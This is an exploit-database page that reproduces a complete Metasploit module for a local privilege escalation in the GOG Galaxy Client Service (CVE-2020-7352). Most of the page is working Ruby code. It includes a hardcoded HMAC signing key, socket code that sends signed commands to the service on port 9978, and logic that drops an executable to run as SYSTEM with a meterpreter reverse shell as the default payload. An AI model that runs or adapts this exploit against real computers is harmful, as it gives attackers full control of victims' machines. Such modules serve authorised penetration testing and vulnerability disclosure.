GOG GalaxyClientService Privilege Escalation

2020.06.16
Credit: Joe Testa
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/windows/services' require 'openssl' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Services include Msf::Post::Windows::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'GOG GalaxyClientService Privilege Escalation', 'Description' => %q{ This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are also likely affected). }, 'License' => MSF_LICENSE, 'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>' ], 'Platform' => [ 'win' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }, 'Type' => :dropper ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 28 2020', 'References' => [ ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], ['CVE', '2020-7352'] ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] } ) ) register_options( [ OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]), OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\']) ] ) end def check log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log') service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe') return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path) return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path) log_data = read_file(log_path) unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data return CheckCode::Detected('Unable to determine version from log file') end return CheckCode::Detected('Galaxy Client version not found') unless ver_no version = Gem::Version.new(ver_no) return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13') CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable") end def exploit fail_with(Failure::None, 'Already running as SYSTEM') if is_system? fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter' # The HMAC-SHA512 key for signing file_paths. key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f" key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb" key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c" key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4" key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd" key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d" # Start the GalaxyClientService. It will automatically terminate after ~10 # seconds of inactivity, so we don't need to bother shutting it down later. print_status('Starting GalaxyClientService...') ret = service_start('GalaxyClientService') if ret == 0 print_status('Service started successfully.') elsif (ret == 1056) || (ret == 1) print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.') else print_status("Service status unknown (return code: #{ret}). Continuing anyway...") end print_status('Connecting to service...') # Create a TCP socket. handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') s = handler['return'] # Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO). # This only affects the recv(), not connect(). handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4) # Set the socket address structure to localhost:9978. sock_addr = "\x02\x00" sock_addr << [9978].pack('n') sock_addr << Rex::Socket.addr_aton('127.0.0.1') sock_addr << "\x00" * 8 # Connect to the service. Retry up to 3 times, waiting 2 seconds in # between. connected = false retries = 0 while (retries < 3) && (connected == false) retries += 1 handler = client.railgun.ws2_32.connect(s, sock_addr, 16) if handler['GetLastError'] == 0 connected = true else print_warning('Connection failed. Waiting 2 seconds and trying again...') Rex.sleep(2) end end fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected data = build_payload(key) print_status('Connected to service. Sending payload...') # Here, we are calling client.railgun.ws2_32.send(). However, there's a bug # somewhere in the railgun system such that send() is never called. It # seems that some mystery code is intercepting send() instead of letting it # get to LibraryWrapper.method_missing() (perhaps 'send' is a special case # somewhere? The other ws2_32 functions work just fine...). To work around # this problem, we will simply call it directly with call_function(). send_func = client.railgun.ws2_32.functions['send'] client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client) # Read the server's response. On error, it returns nothing. response = "\x00" * 512 handler = client.railgun.ws2_32.recv(s, response, response.length, 0) # Convert the unsigned return value to a signed value. ret = [handler['return'].to_i].pack('l').unpack1('l') if ret <= 0 print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(") else print_good('Command executed successfully!') end client.railgun.ws2_32.closesocket(s) end def build_payload(key) working_dir = datastore['WORKING_DIR'] header1 = "\x00\x93\x08\x04\x10\x01\x18" header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01" payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe" file_path = expand_path("#{datastore['PATH']}\\#{payload_name}") payload_data = generate_payload_exe print_status("Writing #{file_path} to target") write_file(file_path, payload_data) register_file_for_cleanup(file_path) gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12" gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01" payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd) header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top